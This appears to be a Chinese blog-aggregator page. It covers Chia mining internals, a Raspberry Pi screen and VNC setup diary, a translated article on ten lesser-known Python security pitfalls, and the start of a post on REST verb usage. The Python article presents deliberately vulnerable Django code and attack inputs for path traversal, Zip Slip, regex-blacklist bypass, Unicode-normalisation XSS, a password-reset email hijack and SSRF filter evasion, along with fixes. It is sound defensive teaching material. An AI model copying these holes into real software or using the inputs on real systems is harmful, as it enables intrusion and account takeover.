  1. Phase 1, forward propagation. 计算出所需的 7 张表及 f 函数集合,这一步实际上就已经生成了 PoSpace 所需的所有数据了,只是生成的临时文件还太大,需要后续来压缩下。f 函数的计算过程中会用到 Plot ID,Plot ID 直接决定了 Plots file 的内容;
  2. Phase 2, backprogagation. 主要目的在于消除表中的无意义项(Dead entries),以减少磁盘空间占用;
  3. Phase 3, compresses. 进一步压缩生成的临时文件 1,生成临时文件 2,临时文件 2 其实就是最终的 Plots file 了;这一步做了重排序,会使得生成的表中各项的顺序发生变化,不是按 PoSpace 要求的某种顺序。
  4. Phase 4, write checkpoint table. 写入检查点表,其意义在于加快查找表的过程。

最后,若最终路径(--final_dir)与临时文件 2 的路径(--tmp2_dir)是一样的,简单的把临时文件 2 做个 Rename 重命名即可;否则做一次数据拷贝生成最终 Plots file。

此处之所以要 Copy 或 Rename 一下而不是直接把临时文件 2 作为最终文件的主要原因是为了分离临时文件及最终文件的存储位置。

根据 Chia 的设计,Plots file 越多越好,因此显然要把它们存放在廉价的大容量存储系统,如本地机械盘或云端的低价存储中。然而此类系统通常随机读写能力不佳,甚至是直接不支持随机写入。可在生成临时文件 2 时是需要随机写入的,且写入的 IOPS 对生成文件的速度有显著影响,因此在通常实践中,会把临时文件写到 SSD 上。

Plotting 的逻辑是由 DiskPlotter 这个类来实现的。

Farming

Farming 的过程就是对一系列 Challenges 的证明响应,每一轮证明过程都是以一个 256 bit 的 Challenge 为输入,输出是一个 PoSpace 结构,其中包括 Plots file 的公钥,Pool 的公钥, Proof 结果等。其中最重要的就是 Proof 结果。

生成一个区块的过程中会产生 64 次 Challenges,这一过程在客户端 Farming 的界面中可以看到:

每一个这样的点被称为一个 Signage Point。

为减少 IO 次数及所需网络带宽,目前的实现中采用了一种类似于预筛选的方法,先用较少次数的读计算出一个 Quality 值,并根据特定算法评估此 Quality 对于当前 Signage Point 来说够不够好,如果够好的话再去获取完整 Proof 结果。获取 Proof & Quality 的过程是由 Harvester 完成的,评估 Quality 质量则是 Farmer 的工作。

Harvester

Harvester 负责管理某台机器上的所有 Plots file,并接收来自 Farmer 的 Challenge,返回每个 Plots file 的 PoSpace 及 PoSpace Quality。

这部分代码是由 DiskProver 类实现的。

Challenge 的高 $k$ bit 表示 f7 要满足的一些性质,通过对 C1, C2, C3 表的一通查询最终可以确定 Table 7 中有几项满足要求,可能有若干项满足要求,也可能一项都没有,平均期望是存在 1 项满足要求。

这里有几项满足要求就意味着这个 Plots file 中存在多少个最终的 Proof 证明结果。

之后的查找过程示意如下:

不过要注意的是,从 Table 7 中的一项表项只能找到 Table 6 中对应的一项,这样依次找下去就可以得到 Table 1 中的 32 项,每项是由 2 个 $k$ bit 的整数构成的,因此最终结果就有 $k*64$ bit。对这 64 个数进行重新排序(排序规则是由 PoST 算法决定的),最终就可以生成一个长长的字符串,这就是 PoSpace 的证明结果。

至于 Quality 是怎么来的呢?Challenge 最低 5 bit 的含义是 Table 6 ~ Table 2 在生成 Quality 时应该选择左边的值还是右边的值,按此规则进行选取后 Table 7 中的一项就会对应得到 Table 1 中的一项,即 2 个整数。将 Challenge 与这两个整数简单的二进制连起来,并计算 SHA-256,得到的结果就是 Quality 值。

Timelord

Timelord 一般被翻译为时间领主,它负责向 Farmer 发起质询(Challenge)并计算 VDF,计算完成后打包成新的区块,实际上整个 Chia 链中的区块都是由 TimeLord 计算生成的。TimeLord 最终决定了哪个 Farmer 的某个 Plots file 赢得了当前区块,即摸中奖了可以获得 XCH 奖励。

那如何保证 TimeLord 是公平的而不是邪恶的始终选取自己的 plots file 呢?这就是由 Chia 的 PoST 算法决定的了。离 Challenge 越近(越优)的 PoSpace 会使得 TimeLord 计算 VDF 的速度越快。系统中不止有一个 TimeLord,而是有很多 TimeLord 在互相竞争,哪个 TimeLoad 先计算完成 VDF 成功打包区块,那整个链就会沿此区块继续延伸,其他在计算同一高度区块的 TimeLord 就会失败。

此过程与传统 Bitcoin 的运行模式基本一模一样,可以猜想,对于分支情况的处理也应该和比特币基本相同。然而一个显著区别是,Bitcoin 奖励的是矿工,即最终成功生成新区块的参与者,而在 Chia 中,TimeLord 是没有任何奖励的,完全是自愿劳动:) 被奖励的是 Farmer。

那无偿劳动为啥有人来干呢?根据某个 Chia 核心开发人员的说法是,当 TimeLord 好处多多,大家都会争着来干的,最显著的好处是,自己部署一个 TimeLord 与自己的 Harvester 离得近网络延迟小,避免自己由于网络延迟太大而成为炮灰。即由于网络延迟导致自己的 PoSpace 很久之后才被送到某个遥远的 TimeLord 上,导致根本没有机会被打包到区块中,即使自己的 PoSpace 比其他人更优。

TimeLord 是 CPU 密集型任务,目前的开源实现强制要求运行平台支持 AVX512-IFMA 指令集。如果某个 TimeLord 的运行速度能压倒性的快于其他 TimeLord,那它理论上是可以凭借算力而非磁盘空间来控制整个链的,因此按照 Chia 开发者的说法,要把运行得最快的 TimeLord 算法开源出来,而且使得 ASIC 的运算速度没法超过通用 CPU,这样才能避免邪恶 TimeLord 的出现。

Full Node

Full Node 的作用是广播中转各种消息,创建区块,保存和维护历史区块,与系统的其他参与者通信等。不同参与者之间的通信就是靠 Full Node 来完成的。

Full Node 间的一致性使用的是与比特币一样的 Gossip 协议。

一些重要算法

算法部分没有仔细研究,此处更多的是给出一些深入研究的链接。

PoST 算法

Chia 最重要的算法当然要数 PoST 算法了,PoST 算法是由两部分构成的,PoSpace + VDF。

PoSpace 的文档

VDF 的文档

为什么只有 PoSpace 是不够的还需要 VDF 呢?因为整个区块链网络是个 P2P 网络,产生一个 Challenge 后需要去收集所有 Farmer 的 Proof,区块链设计的核心哲学就是没有邪恶的中心节点,那怎么确定哪个 Proof 是最优的呢?如果这个判断进行得很快,比如简单的比比差值,那所有的 TimeLoad 都可以马上宣称某个 Proof 为最优,此时区块如何增长就完全不可控了,所以 PoT 也是必不可少的。需要通过计算 VDF 的过程让全网能够就哪个 Proof 是最优的达成共识。

一致性协议

一致性协议中主要介绍的是链的延伸过程,在 Chia 的绿皮书中对此有说明,不过目前有一份更新的 Google Doc:

Chia Consensus Algorithm

签名算法

所有区块链技术的最底层基石都是密码学,特别是各种数字签名技术。Chia 中签名用的算法是 BLS12-381。

BLS 算法是 2003 年由斯坦福大学的 Dan Boneh,Ben Lynn 以及 Hovav Shacham 提出的一种基于 ECC 的数字签名算法,和 ECDSA 的用处是一样的。该方案是一个基于双线性映射且具有唯一确定性的签名方案。BLS的主要思想是待签名的消息散列到一个椭圆曲线上的一个点,并利用双线性映射 e 函数的交换性质,在不泄露私钥的情况下,验证签名。BLS的算法在签名合并,多签,m/n 多签有丰富的应用。

而 BLS12-381 则一种具体的 BLS 签名算法,此算法由 Sean Bowe 于 2017 年提出,最早被用于一个叫 Zcash 的数字货币项目中,现在不少其他区块链项目也用了此算法。

在 Chia 的实现中需要用到不止一对密钥,比如钱包的密钥,Farmer 用的农民密钥等。这些密钥不是独立的,而是由一个主私钥通过私钥派生算法得到的,对于 BLS12-381 算法来说怎么生成这些密钥可以参考这个:

EIP-2333: BLS12-381 Key Generation

至于主私钥怎么来的呢,第一次启动 Chia 客户端时会创建一个由 24 个单词组成的助记词,这些助记词就是用来生成主私钥的。

Plotting 时会生成一个随机主私钥,通过它可以派生出一个本地私钥,这个本地私钥又可以导出一个本地公钥,最终,本地公钥与农民公钥(Farmer Public Key)融合,生成了绘图公钥(Plot Public Key),最后矿池公钥(Pool Public Key)和绘图公钥(Plot Public Key)会被组合到一起,并进行一次哈希,哈希的结果被称为绘图 ID(Plot ID)。

上述提及的绘图 ID,随机主私钥,农民公钥与矿池公钥均会被记录到 Plots file 的 Header 中。

生成区块时,需要用与 Plot file 匹配的矿池私钥(Pool Private Key)进行一次签名。

开源项目代码结构

Chia 的业务逻辑,网络,一致性算法等是用 Python 写的,即 chia-blockchain 这个项目。这个项目也被视为 Chia 的主项目在 GitHub 上获得了最多的 Star。最终各平台上能运行的完整的程序也是在这个项目中发布 Release 版本的。

至于 GUI 部分是基于 Electron 开发的,对应项目为 chia-blockchain-gui

核心的 PoST 算法则是 C++ 写的,分为两个项目:

  • chiapos,PoSpace 相关代码,包括 Plots file 的生成及验证;
  • chiavdf,TimeLord 上运行的 VDF 算法。

Chia 中使用的 BLS12-381 数字签名算法的实现为:bls-signatures

此外 Chia 还开发了一个叫 Chialisp 的智能合约语言,相关项目有:

  • clvm,用 Python 写的 Chialisp 虚拟机;
  • clvm-rs,用 Rust 写的 Chialisp 虚拟机;
  • clvm_tools,一些支持工具。

参考资料:

硬盘危机——Chia 挖矿背后的原理与技术细节(一)

Chia Green Paper

Chia挖矿:深入浅出聊P盘(绘图 Plots)

April 08, 2022 12:27 PM

March 06, 2022

anji66

树莓派升级手记

树莓派自买来就一直是我的内网测试服务器,前几天明显感觉反应迟钝了,就去检查了一下,发现之前散热壳上的小风扇停了,拿个螺丝刀拨弄一下扇叶转不动,应该是滚珠没油“焊”死在上面了。不得已网购散热风扇,买着买着就变成买了一个散热风扇,一个金属外壳,一块3.5寸屏。冲动消费害死人。明明5块钱搞定的事情,最后搞成95块钱。


一、3.5寸屏白屏不显示

硬件组装部分就略过了。东西到手就直接装上了,然后开机,屏幕是点亮了,但是白屏啥也不输出。翻了一下包装盒,里面有装说明书,原来要装驱动。驱动安装命令如下:

sudo rm -rf LCD-show
git clone https://github.com/Lcdwiki/LCD-show.git
chmod -R 755 LCD-show
cd LCD-show/
sudo ./MHS35-show

第一行命令如果没装过小屏的,其实可以不输,后面就克隆一个驱动项目给个权限执行安装就完事了。装完自动重启,但是我的自动重启没成功,卡死了重启步骤上了,没办法只能关机重启,然后还是无法进入系统,泥煤的,心态一下就崩了呀,这要重烧系统的节奏啊,问题是我上面的项目没备份下来啊,算了程序啥的电脑上还有,就是丢点数据,也都是自用的无所谓了。现在的问题是怎么搞定白屏,刚刚命令都正常执行了,一直到reboot显示出来就死了。有可能是系统问题,因为我现在的系统是之前官方出的64位beta版,就去看了下树莓派官网上,现在有64位正式版可以用了,而且还是2022年1月刚更新的。下镜像,烧系统,重装驱动,一溜烟3.5寸屏正常输出了。


二、解决HDMI大屏输出不显示

树莓派之前一直是通过HDMI连接到我竖屏上的,上面小屏驱动完成后重启,小屏完美显示了,大屏反而不输出了,显示:输入不支持字样。然后就问了下卖家,是不是不能同步显示,卖家说可以同时显示的,并丢了个链接给我:http://www.lcdwiki.com/zh/安装支持FBCP的驱动后HDMI显示器无显示。原因很明确:由于3.5寸屏幕安装的驱动默认输出分辨率为480*320,而传统的HDMI显示器很多不支持低于640*480的HDMI输入信号,所以HDMI显示器无法正常显示甚至无显示。解决方案:

打开Micro SD卡根目录的config.txt文件,在文件末端找到:hdmi_cvt  480 320 60 6 0 0 0   修改为:将480 320 数值修改成640*480, 800*480或更高分辨率的对应值(注意空格),举例:修改成800*480分辨率  hdmi_cvt 800 480 60 6 0 0 0。根据此法完美解决双屏显示的问题,新的问题是大屏的分辨率太低,不太好看,遂改成hdmi_cvt 1280 800 60 6 0 0 0的分辨率了,当然使用1920*1080的也可以,这样小屏上的显示的会小很多,但后面用VNC无所谓了,毕竟3.5寸的触摸跟个三等残废似的,没啥diao用。

3.jpg

三、VNC连接后断开无法重连

驱动装好就打开树莓派的VNC service,用客户端VNC Viewers连接操作,打开VNC可以通过树莓派设置去操作,也可以使用 sudo raspi-config的命令行配置方式操作。就去安装宝塔面板去了,大便系统上装宝塔有点慢,宝塔装好登录装运行环境,等装完就个把小时过去了,等再来操作的时候发现VNC断开了,死活连不上,树莓派上的VNC配置项翻了个遍,VNC services停了开开了停,也没解决。然后再找解决方案的时候偶然看到VNC连接端口是5901,然后就在VNC Viewers上输入IP+端口再试,还是连不上,就有点纳闷了,百思不得其姐。然后就复盘了一下刚才所谓的操作,除了装宝塔,啥也没干,宝塔可以正常使用,就VNC用不了,折腾了半天准备放弃了,大不了不用VNC了,接键盘鼠标好了。就去改宝塔的配置,再改宝塔入口的时候看到端口,恍然大悟,宝塔用root权限安装的,装完后接管树莓派所有端口了,在宝塔安全菜单里面放行VNC的5901端口就好了。

1.jpg

2.jpg

四、蓝牙音箱无法连接

既然树莓派有个小屏了,再整个音箱,加上无线键鼠和随身投影,一套完美的办公套件啊,笑。其实我纯粹就是为了试下连接音箱是啥效果,树莓派蓝牙搜索设备,连接,一路顺畅,打开网易云音乐,随便放个曲子,音箱就是不响,哑火状态。联想到PC上,有多个音源输出设备的话,要手动选择输出设备的,点开树莓派的喇叭图标,好像只有音量调节和静音。右键点开,看到Audio Outputs,选择刚刚适配好的蓝牙,悠扬的乐曲就出来了。


五、其它小问题

1、安装宝塔提示要用root权限,树莓派默认没有使用root账户。需要手动切换一下,使用 sudo -s命令,或则使用su命令,输入设置的root密码即可。如果不能成功就是没有开启root账号,通过命令sudo passwd root启用,输入两遍密码就好了。

4.jpg

2、提示bash: warning: setlocale: LC_ALL错误,把树莓派设置里面的localisation的charset设置为UTF-8即可。

5.jpg


by 西枫里 at March 06, 2022 07:19 AM

February 14, 2022

pythoncat

警惕!Python 中少为人知的 10 个安全陷阱!

作者:Dennis Brinkrolf
译者:豌豆花下猫@Python猫
声明:本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。
Python 开发者们在使用标准库和通用框架时,都以为自己的程序具有可靠的安全性。然而,在 Python 中,就像在任何其它编程语言中一样,有一些特性可能会被开发者们误解或误用。通常而言,只有极少的微妙之处或细节会使开发者们疏忽大意,从而在代码中引入严重的安全漏洞。
在这篇博文中,我们将分享在实际 Python 项目中遇到的 10 个安全陷阱。我们选择了一些在技术圈中不太为人所知的陷阱。通过介绍每个问题及其造成的影响,我们希望提高人们对这些问题的感知,并提高大家的安全意识。如果你正在使用这些特性,请一定要排查你的 Python 代码!

1.被优化掉的断言

Python 支持以优化的方式执行代码。这使代码运行得更快,内存用得更少。当程序被大规模使用,或者可用的资源很少时,这种方法尤其有效。一些预打包的 Python 程序提供了优化的字节码。
然而,当代码被优化时,所有的 assert 语句都会被忽略。开发者有时会使用它们来判断代码中的某些条件。例如,如果使用断言来作身份验证检查,则可能导致安全绕过。
def superuser_action(request, user):
    assert user.is_super_user
    # execute action as super user
在这个例子中,第 2 行中的 assert 语句将被忽略,导致非超级用户也可以运行到下一行代码。不推荐使用 assert 语句进行安全相关的检查,但我们确实在实际的项目中看到过它们。

2. MakeDirs 权限

os.makdirs 函数可以在操作系统中创建一个或多个文件夹。它的第二个参数 mode 用于指定创建的文件夹的默认权限。在下面代码的第 2 行中,文件夹 A/B/C 是用 rwx------ (0o700) 权限创建的。这意味着只有当前用户(所有者)拥有这些文件夹的读、写和执行权限。
def init_directories(request):
    os.makedirs("A/B/C", mode=0o700)
    return HttpResponse("Done!")
在 Python < 3.6 版本中,创建出的文件夹 A、B 和 C 的权限都是 700。但是,在 Python > 3.6 版本中,只有最后一个文件夹 C 的权限为 700,其它文件夹 A 和 B 的权限为默认的 755。
因此,在 Python > 3.6 中,os.makdirs 函数等价于 Linux 的这条命令:mkdir -m 700 -p A/B/C。 有些开发者没有意识到版本之间的差异,这已经在 Django 中造成了一个权限越级漏洞(cve - 2022 -24583),无独有偶,这在 WordPress 中也造成了一个加固绕过问题

3.绝对路径拼接

os.path.join(path, *paths) 函数用于将多个文件路径连接成一个组合的路径。第一个参数通常包含了基础路径,而之后的每个参数都被当做组件拼接到基础路径后。
然而,这个函数有一个少有人知的特性。如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将被视为绝对路径。下面的示例揭示了开发者可能遇到的这个陷阱。
def read_file(request):
    filename = request.POST['filename']
    file_path = os.path.join("var", "lib", filename)
    if file_path.find(".") != -1:
        return HttpResponse("Failed!")
    with open(file_path) as f:
        return HttpResponse(f.read(), content_type='text/plain')
在第 3 行中,我们使用 os.path.join 函数将用户输入的文件名构造出目标路径。在第 4 行中,检查生成的路径是否包含”.“,防止出现路径遍历漏洞。
但是,如果攻击者传入的文件名参数为”/a/b/c.txt“,那么第 3 行得到的变量 file_path 会是一个绝对路径(/a/b/c.txt)。即 os.path.join 会忽略掉”var/lib“部分,攻击者可以不使用“.”字符就读取到任何文件。尽管 os.path.join 的文档中描述了这种行为,但这还是导致了许多漏洞(Cuckoo Sandbox EvasionCVE-2020-35736)。

4. 任意的临时文件

tempfile.NamedTemporaryFile 函数用于创建具有特定名称的临时文件。但是,prefix(前缀)和 suffix(后缀)参数很容易受到路径遍历攻击(Issue 35278)。如果攻击者控制了这些参数之一,他就可以在文件系统中的任意位置创建出一个临时文件。下面的示例揭示了开发者可能遇到的一个陷阱。
def touch_tmp_file(request):
    id = request.GET['id']
    tmp_file = tempfile.NamedTemporaryFile(prefix=id)
    return HttpResponse(f"tmp file: {tmp_file} created!", content_type='text/plain')
在第 3 行中,用户输入的 id 被当作临时文件的前缀。如果攻击者传入的 id 参数是“/../var/www/test”,则会创建出这样的临时文件:/var/www/test_zdllj17。粗看起来,这可能是无害的,但它会为攻击者创造出挖掘更复杂的漏洞的基础。

5.扩展的 Zip Slip

在 Web 应用中,通常需要解压上传后的压缩文件。在 Python 中,很多人都知道 TarFile.extractall 与 TarFile.extract 函数容易受到 Zip Slip 攻击。攻击者通过篡改压缩包中的文件名,使其包含路径遍历(../)字符,从而发起攻击。
这就是为什么压缩文件应该始终被视为不受信来源的原因。zipfile.extractall 与 zipfile.extract 函数可以对 zip 内容进行清洗,从而防止这类路径遍历漏洞。
但是,这并不意味着在 ZipFile 库中不会出现路径遍历漏洞。下面是一段解压缩文件的代码。
def extract_html(request):
    filename = request.FILES['filename']
    zf = zipfile.ZipFile(filename.temporary_file_path(), "r")
    for entry in zf.namelist():
        if entry.endswith(".html"):
            file_content = zf.read(entry)
            with open(entry, "wb") as fp:
                fp.write(file_content)
    zf.close()
    return HttpResponse("HTML files extracted!")
第 3 行代码根据用户上传文件的临时路径,创建出一个 ZipFile 处理器。第 4 - 8 行代码将所有以“.html”结尾的压缩项提取出来。第 4 行中的 zf.namelist 函数会取到 zip 内压缩项的名称。注意,只有 zipfile.extract 与 zipfile.extractall 函数会对压缩项进行清洗,其它任何函数都不会。
在这种情况下,攻击者可以创建一个文件名,例如“../../../var/www/html”,内容随意填。该恶意文件的内容会在第 6 行被读取,并在第 7-8 行写入被攻击者控制的路径。因此,攻击者可以在整个服务器上创建任意的 HTML 文件。
如上所述,压缩包中的文件应该被看作是不受信任的。如果你不使用 zipfile.extractall 或者 zipfile.extract,你就必须对 zip 内文件的名称进行“消毒”,例如使用 os.path.basename。否则,它可能导致严重的安全漏洞,就像在 NLTK Downloader (CVE-2019-14751)中发现的那样。

6. 不完整的正则表达式匹配

正则表达式(regex)是大多数 Web 程序不可或缺的一部分。我们经常能看到它被自定义的 Web 应用防火墙(WAF,Web Application Firewalls)用来作输入验证,例如检测恶意字符串。在 Python 中,re.match 和 re.search 之间有着细微的区别,我们将在下面的代码片段中演示。
def is_sql_injection(request):
    pattern = re.compile(r".*(union)|(select).*")
    name_to_test = request.GET['name']
    if re.search(pattern, name_to_test):
        return True
    return False
在第 2 行中,我们定义了一个匹配 union 或者 select 的模式,以检测可能的 SQL 注入。这是一个糟糕的写法,因为你可以轻易地绕过这些黑名单,但我们已经在线上的程序中见过它。在第 4 行中,函数 re.match 使用前面定义好的模式,检查第 3 行中的用户输入内容是否包含这些恶意的值。
然而,与 re.search 函数不同的是,re.match 函数不匹配新行。例如,如果攻击者提交了值 aaaaaa \n union select,这个输入就匹配不上正则表达式。因此,检查可以被绕过,失去保护作用。
总而言之,我们不建议使用正则表达式黑名单进行任何安全检查。

7. Unicode 清洗器绕过

Unicode 支持用多种形式来表示字符,并将这些字符映射到码点。在 Unicode 标准中,不同的 Unicode 字符有四种归一化方案。程序可以使用这些归一化方法,以独立于人类语言的标准方式来存储数据,例如用户名。
然而,攻击者可以利用这些归一化,这已经导致了 Python 的 urllib 出现漏洞(CVE-2019-9636)。下面的代码片段演示了一个基于 NFKC 归一化的跨站点脚本漏洞(XSS,Cross-Site Scripting)。
import unicodedata
from django.shortcuts import render
from django.utils.html import escape

def render_input(request):
    user_input = escape(request.GET['p'])
    normalized_user_input = unicodedata.normalize("NFKC", user_input)
    context = {'my_input': normalized_user_input}
    return render(request, 'test.html', context)
在第 6 行中,用户输入的内容被 Django 的 escape 函数处理了,以防止 XSS 漏洞。在第 7 行中,经过清洗的输入被 NFKC 算法归一化,以便在第 8-9 行中通过 test.html 模板正确地渲染。
templates/test.html
<!DOCTYPE html>
<html lang="en">
<body>
{{ my_input | safe}}
</body>
</html>
在模板 test.html 中,第 4 行的变量 my_input 被标记为安全的,因为开发人员预期有特殊字符,并且认为该变量已经被 escape 函数清洗了。通过标记关键字 safe, Django 不会再次对变量进行清洗。
但是,由于第 7 行(view.py)的归一化,字符“%EF%B9%A4”会被转换为“<”,“%EF%B9%A5”被转换为“>”。这导致攻击者可以注入任意的 HTML 标记,进而触发 XSS 漏洞。为了防止这个漏洞,就应该在把用户输入做完归一化之后,再进行清洗。

8. Unicode 编码碰撞

前文说过,Unicode 字符会被映射成码点。然而,有许多不同的人类语言,Unicode 试图将它们统一起来。这就意味着不同的字符很有可能拥有相同的“layout”。例如,小写的土耳其语 ı(没有点)的字符是英语中大写的 I。在拉丁字母中,字符 i 也是用大写的 I 表示。在 Unicode 标准中,这两个不同的字符都以大写形式映射到同一个码点。
这种行为是可以被利用的,实际上已经在 Django 中导致了一个严重的漏洞(CVE-2019-19844)。下面的代码是一个重置密码的示例。
from django.core.mail import send_mail
from django.http import HttpResponse
from vuln.models import User

def reset_pw(request):
    email = request.GET['email']
    result = User.objects.filter(email__exact=email.upper()).first()
    if not result:
        return HttpResponse("User not found!")
    send_mail('Reset Password','Your new pw: 123456.', 'from@example.com', [email], fail_silently=False)
    return HttpResponse("Password reset email send!")
第 6 行代码获取了用户输入的 email,第 7-9 行代码检查这个 email 值,查找是否存在具有该 email 的用户。如果用户存在,则第 10 行代码依据第 6 行中输入的 email 地址,给用户发送邮件。需要指出的是,第 7-9 行中对邮件地址的检查是不区分大小写的,使用了 upper 函数。
至于攻击,我们假设数据库中存在一个邮箱地址为 foo@mix.com 的用户。那么,攻击者可以简单地传入 foo@mıx.com 作为第 6 行中的 email,其中 i 被替换为土耳其语 ı。第 7 行代码将邮箱转换成大写,结果是 FOO@MIX.COM。这意味着找到了一个用户,因此会发送一封重置密码的邮件。
然而,邮件被发送到第 6 行未转换的邮件地址,也就是包含了土耳其语的 ı。换句话说,其他用户的密码被发送到了攻击者控制的邮件地址。为了防止这个漏洞,可以将第 10 行替换成使用数据库中的用户邮箱。即使发生编码冲突,攻击者在这种情况下也得不到任何好处。

9. IP 地址归一化

在 Python < 3.8 中,IP 地址会被 ipaddress 库归一化,因此前缀的零会被删除。这种行为乍一看可能是无害的,但它已经在 Django 中导致了一个高严重性的漏洞(CVE-2021-33571)。攻击者可以利用归一化绕过校验程序,发起服务端请求伪造攻击(SSRF,Server-Side Request Forgery)。
下面的代码展示了如何绕过这样的校验器。
import requests
import ipaddress

def send_request(request):
    ip = request.GET['ip']
    try:
        if ip in ["127.0.0.1", "0.0.0.0"]:
            return HttpResponse("Not allowed!")
        ip = str(ipaddress.IPv4Address(ip))
    except ipaddress.AddressValueError:
        return HttpResponse("Error at validation!")
    requests.get('https://' + ip)
    return HttpResponse("Request send!")
第 5 行代码获取用户传入的一个 IP 地址,第 7 行代码使用一个黑名单来检查该 IP 是否为本地地址,以防止可能的 SSRF 漏洞。这份黑名单并不完整,仅作为示例。
第 9 行代码检查该 IP 是否为 IPv4 地址,同时将 IP 归一化。在完成验证后,第 12 行代码会对该 IP 发起实际的请求。
但是,攻击者可以传入 127.0.001 这样的 IP 地址,在第 7 行的黑名单列表中找不到。然后,第 9 行代码使用 ipaddress.IPv4Address 将 IP 归一化为 127.0.0.1。因此,攻击者就能够绕过 SSRF 校验器,并向本地网络地址发送请求。

10. URL 查询参数解析

在 Python < 3.7 中,urllib.parse.parse_qsl 函数允许使用“;”和“&”字符作为 URL 的查询变量的分隔符。有趣的是“;”字符不能被其它语言识别为分隔符。
在下面的例子中,我们将展示为什么这种行为会导致漏洞。假设我们正在运行一个基础设施,其中前端是一个 PHP 程序,后端则是一个 Python 程序。
攻击者向 PHP 前端发送以下的 GET 请求:
GET https://victim.com/?a=1;b=2
PHP 前端只识别出一个查询参数“a”,其内容为“1;b=2”。PHP 不把“;”字符作为查询参数的分隔符。现在,前端会将攻击者的请求直接转发给内部的 Python 程序:
GET https://internal.backend/?a=1;b=2
如果使用了 urllib.parse.parse_qsl,Python 程序会处理成两个查询参数,即“a=1”和“b=2”。这种查询参数解析的差异可能会导致致命的安全漏洞,比如 Django 中的 Web 缓存投毒漏洞(CVE-2021-23336)。

总结

在这篇博文中,我们介绍了 10 个 Python 安全陷阱,我们认为开发者不太了解它们。每个细微的陷阱都很容易被忽视,并在过去导致了线上程序的安全漏洞。
正如前文所述,安全陷阱可能出现在各种操作中,从处理文件、目录、压缩文件、URL、IP 到简单的字符串。一种常见的情况是库函数的使用,这些函数可能有意想不到的行为。这提醒我们一定要升级到最新版本,并仔细阅读文档。在 SonarSource 中,我们正在研究这些缺陷,以便将来不断改进我们的代码分析器。

February 14, 2022 12:00 AM

February 13, 2022

coolshell

“一把梭:REST API 全用 POST”

写这篇文章的原因主要还是因为V2EX上的这个贴子,这个贴子中说——

“对接同事的接口,他定义的所有接口都是 post 请求,理由是 https 用 post 更安全,之前习惯使用 restful api ,如果说 https 只有 post 请求是安全的话?那为啥还需要 get 、put 、delete ?我该如何反驳他。”

然后该贴中大量的回复大概有这么几种论调,1)POST挺好的,就应该这么干,沟通少,2)一把梭,早点干完早点回家,3)吵赢了又怎么样?工作而已,优雅不能当饭吃。虽然评论没有一边倒,但是也有大量的人支持。然后,我在Twitter上嘲讽了一下,用POST干一切就像看到了来你家装修工人说,“老子干活就是用钉子钉一切,什么螺丝、螺栓、卡扣、插销……通通不用,钉枪一把梭,方便,快捷,安全,干完早回家……不过,还是有一些网友觉得用POST挺好的,而且可以节约时间。所以,正好,我在《我做系统架构的原则》中的“原则五”中反对API返回码无论对错全是200的返回那,我专门写下这一篇文章,以正视听。

这篇文章主要分成下面这几个部分:

  1. 为什么要用不同的HTTP动词?
  2. Restful 进行复杂查询
  3. 几个主要问题的回应
    • POST 更安全吗?
    • 全用 POST 可以节省时间沟通少吗?
    • 早点回家的正确姿势
    • 工作而已,优雅不能当饭吃

为什么要用不同的HTTP动词

编程世界通常来说有两种逻辑:“业务逻辑” 和 “控制逻辑”。

  • 业务逻辑。就是你实现业务需求的功能的代码,就是跟用户需求强相关的代码。比如,把用户提交的数据保存起来,查询用户的数据,完成一个订单交易,为用户退款……等等,这些是业务逻辑
  • 控制逻辑。就是我们用于控制程序运行的非功能性的代码。比如,用于控制程序循环的变量和条件,使用多线程或分布式的技术,使用HTTP/TCP协议,使用什么样数据库,什么样的中间件……等等,这些跟用户需求完全没关系的东西。

网络协议也是一样的,一般来说,几乎所有的主流网络协议都有两个部分,一个是协议头,一个是协议体。协议头中是协议自己要用的数据,协议体才是用户的数据。所以,协议头主要是用于协议的控制逻辑,而协议体则是业务逻辑。

HTTP的动词(或是Method)是在协议头中,所以,其主要用于控制逻辑。

下面是HTTP的动词规范,一般来说,REST API 需要开发人员严格遵循下面的标准规范(参看RFC7231 章节4.2.2 – Idempotent Methods

方法 描述 幂等
GET 用于查询操作,对应于数据库的 select 操作 ✔
PUT 用于所有的信息更新,对应于数据库的 update 操作 ✔︎︎
DELETE 用于更新操作,对应于数据库的 delete 操作 ✔︎︎
POST 用于新增操作,对应于数据库的 insert 操作
HEAD 用于返回一个资源对象的“元数据”,或是用于探测API是否健康 ✔
PATCH 用于局部信息的更新,对应于数据库的 update 操作
OPTIONS 获取API的相关的信息。 ✔

其中,PUT 和 PACTH 都是更新业务资源信息,如果资源对象不存在则可以新建一个,但他们两者的区别是,PUT 用于更新一个业务对象的所有完整信息,就像是我们通过表单提交所有的数据,而 PACTH 则对更为API化的数据更新操作,只需要更需要更新的字段(参看 RFC 5789 )。

当然,现实世界中,可能并不一定严格地按照数据库操作的CRUD来理解API,比如,你有一个登录的API /login 你觉得这个API应该是 GETPOSTPUT 还是 PATCH ?登录的时候用户需要输入用户名和密码,然后跟数据库里的对比(select操作)后反回一个登录的session token,然后这个token作为用户登录的状态令牌。如果按上面表格来说,应该是 select 操作进行 GET ,但是从语义上来说,登录并不是查询信息,应该是用户状态的更新或是新增操作(新增session),所以还是应该使用 POST,而 /logout 你可以使用 DELETE这里相说明一下,不要机械地通过数据库的CRUD来对应这些动词,很多时候,还是要分析一下业务语义。

另外,我们注意到,在这个表格的最后一列中加入了“是否幂等”的,API的幂等对于控制逻辑来说是一件很重要的事。所谓幂等,就是该API执行多次和执行一次的结果是完全一样的,没有副作用。

  • POST 用于新增加数据,比如,新增一个交易订单,这肯定不能是幂等的
  • DELETE 用于删除数据,一个数据删除多次和删除一次的结果是一样的,所以,是幂等的
  • PUT 用于全部数更新,所以,是幂等的。
  • PATCH用于局部更新,比如,更新某个字段 cnt = cnt+1,明显不可能是幂等操作。

幂等这个特性对于远程调用是一件非常关键的事,就是说,远程调用有很多时候会因为网络原因导致调用timeout,对于timeout的请求,我们是无法知道服务端是否已经是收到请求并执行了,此时,我们不能贸然重试请求,对于不是幂等的调用来说,这会是灾难性的。比如像转帐这样的业务逻辑,转一次和转多次结果是不一样的,如果重新的话有可能就会多转了一次。所以,这个时候,如果你的API遵从了HTTP动词的规范,那么你写起程序来就可以明白在哪些动词下可以重试,而在哪些动词下不能重试。如果你把所有的API都用POST来表达的话,就完全失控了。

除了幂等这样的控制逻辑之外,你可能还会有如下的这些控制逻辑的需求:

